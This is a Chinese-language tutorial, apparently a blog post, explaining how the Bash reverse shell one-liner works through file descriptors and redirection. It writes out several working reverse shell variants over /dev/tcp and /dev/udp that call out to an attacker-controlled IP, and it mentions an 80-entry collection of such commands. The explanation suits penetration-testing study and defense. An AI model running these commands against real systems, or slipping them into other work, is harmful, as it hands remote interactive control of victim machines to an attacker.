1. 从Bash一句话shell讲起
bash -i >& /dev/tcp/172.168.1.1/80 0>&1
将这句话拆开来看，bash -i，>&，/dev/tcp/，0>&1，有三个知识点。
（1）bash -i是打开一个交互的bash
（2） /dev/tcp/是Linux中的一个特殊设备,打开这个文件就相当于发出了一个socket调用，建立一个socket连接，读写这个文件就相当于在这个socket连接中传输数据。同理，Linux中还存在/dev/udp/。
（3）>&和0>&1这两个涉及到Linux文件描述符和重定向。此处的&是取地址符
1.1 Linux文件描述符与重定向
（1）文件描述符
Linux启动时会默认打开三个文件描述符（实现文件读写操作），Linux把键盘、显示器等设备也当做文件用文件描述符进行控制，如果要修改默认设备就需要进行重定向。
标准输入stdin 0（默认设备键盘）
标准输出stdout 1（默认设备显示器）
错误输出stderr 2（默认设备显示器）
（2）重定向
输入的重定向包括，<和<<，输出的重定向包括，>和>>，n< file代表将文件描述符 n 重定向到file指代的文件（以只读方式打开）,如果n省略就是0（标准输入）。同理如果是输出的重定向，n> file，n省略则默认是1。
错误输出的重定向有三种形式
&> file
>& file
> file 2>&1 将标准错误输出复制到标准输出//此处&是为了区分文件1和文件描述符1的
其中，&>和>&是一个意思，都是将标准错误输出合并到标准输出中。2>&1和>file可以用如下过程图表示
需要注意的是，上述输入输出重定向，将输入和输出绑定到文件或者设备只对该条指令有效，如果想要一直有效，就需要添加exec指令exec n file/n
（3）复制
与之形似的是文件描述符的复制n<&m / n>&m，这两个都是将文件描述符 n 复制到 m ，两者的区别是，前者是以只读的形式打开，后者是以写的形式打开，因为读/写方式对于复制操作几乎没有影响所以两者基本可以看作是等价的。这里的&目的是区分以数字为名字的文件和文件描述符的数值，如果没有&系统会认为是将文件描述符重定向到了一个数字作为文件名的文件，而不是另一个文件描述符。
bash -i >& /dev/tcp/172.168.1.1/80 0>&1
此时再来看这句命令，可与理解为，创建一个可交互的bash和一个到172.168.1.1:80的TCP链接，然后将bash的输入输出错误都重定向到在172.168.1.1:80监听的进程。
1.2 反向连接（反弹shell）
首先，反弹shell可以理解为，攻击者监听在TCP/UDP端口，被控制端的请求被转发到该端口，可以控制其输入输出。一般攻击者攻击了一台机器，并用自己的主机去连接该机器的端口，这是一种“正向连接”，远程桌面、web服务、ssh、telnet等都是正向连接的一种。但是如果被攻击的机器处于内网中可能造成无法连接，或者有防火墙等限制，再或者攻击者需要进行实时控制，正向连接是无法满足需要的。所以有了“反向连接”，即让被攻击的主机主动去连接攻击者的服务器。
所以我们还可以从反向连接的角度来理解一下0>&1。如果只是bash -i >& /dev/tcp/172.168.1.1/80，将输出描述符连接到了端口，该端口可接收到我们的输出，即我们正向连接了被攻击者的机器，但是我们输入shell后是无法看到回显的。回显只会显示在被攻击者的机器上。如果我们想要得到回显，需要将被攻击机器的输入描述符连接到我们监听的端口上。
也就是说如果我们想要看到回显，除了先将输出描述符连接到端口上，还需要将其输入描述符也连接到端口上。即输入描述符0和输出描述符1连接相同，0>&1即可解决。这就形成了一个回路，实现了远程交互式shell的功能。
bash -i > /dev/tcp/192.168.146.129/2333 0>&1
不过这样的一条指令还不够完善，因为这条指令会使得我们在被攻击的机器上依然能看到我们在攻击者机器中执行的指令，那么解决办法就是将错误输出和标准输出进行混合，即将bash -i >换为bash -i >&
1.3 几种Bash shell
Bash相关shell主要有以下几种：
---------------------1---------------------
bash -i >& /dev/tcp/172.168.1.1/80 0>&1
---------------------2---------------------
/bin/bash -i > /dev/tcp/172.168.1.1/80 0<& 2>&1
---------------------3---------------------
exec 5<>/dev/tcp/172.168.1.1/80;cat <&5 | while read line; do $line 2>&5 >&5; done
---------------------4---------------------
exec /bin/sh 0&0 2>&0
---------------------5---------------------
0<&196;exec 196<>/dev/tcp/172.168.1.1/80; sh <&196 >&196 2>&196
刚才详细讲的是第一种bash shell，第二种是将>&这种错误输出的混合方式改成了2>&1，2代表错误输出，1代表标准输出，2指向了1，即输出混合了。文件描述符的复制n<&m / n>&m两种虽然读写不同但是对于shell的效果是等价的，即和0>&1效果相同。所以第二种就是第一种的变种。第四种同理，输入、输出、报错都定位到同一位置。第五种选了一个新的文件描述符196，道理类似。
对于第三种bash shell，exec已经在前面提到过可以持续连接，后面的关键点如下：
while read line
do
…
done < file
从文件中依次读取每一行，将其赋值给 line 变量（其他也可），之后在循环中对line进行操作。这里不再从文件中读取，而是通过管道符对攻击者机器上输入的命令进行依次执行，并且将标准输出和标准错误输出都重定向到了文件描述符5，也就是攻击机上，实现交互式shell的功能。
另外，本文最开始的时候说到/dev/tcp/是Linux中的一个特殊设备类似的还有/dev/udp/，按照tcp的方式直接改成udp就行。
sh -i >& /dev/udp/172.168.1.1/80 0>&1
除了bash还有很多其他借用第三方工具（nc、telnet、socat、xterm）或使用脚本语言（python、Perl、Ruby、Go、PHP、Lua、JAVA、gawk、Powershell）反弹shell的方式，这里就不一一列举了，原理类似。写这篇文章总结shell的过程中顺手将网络上的shell进行了收集，将近80条，写了BashShell.py，就是个简单的查询shell的工具，有需要的下方留言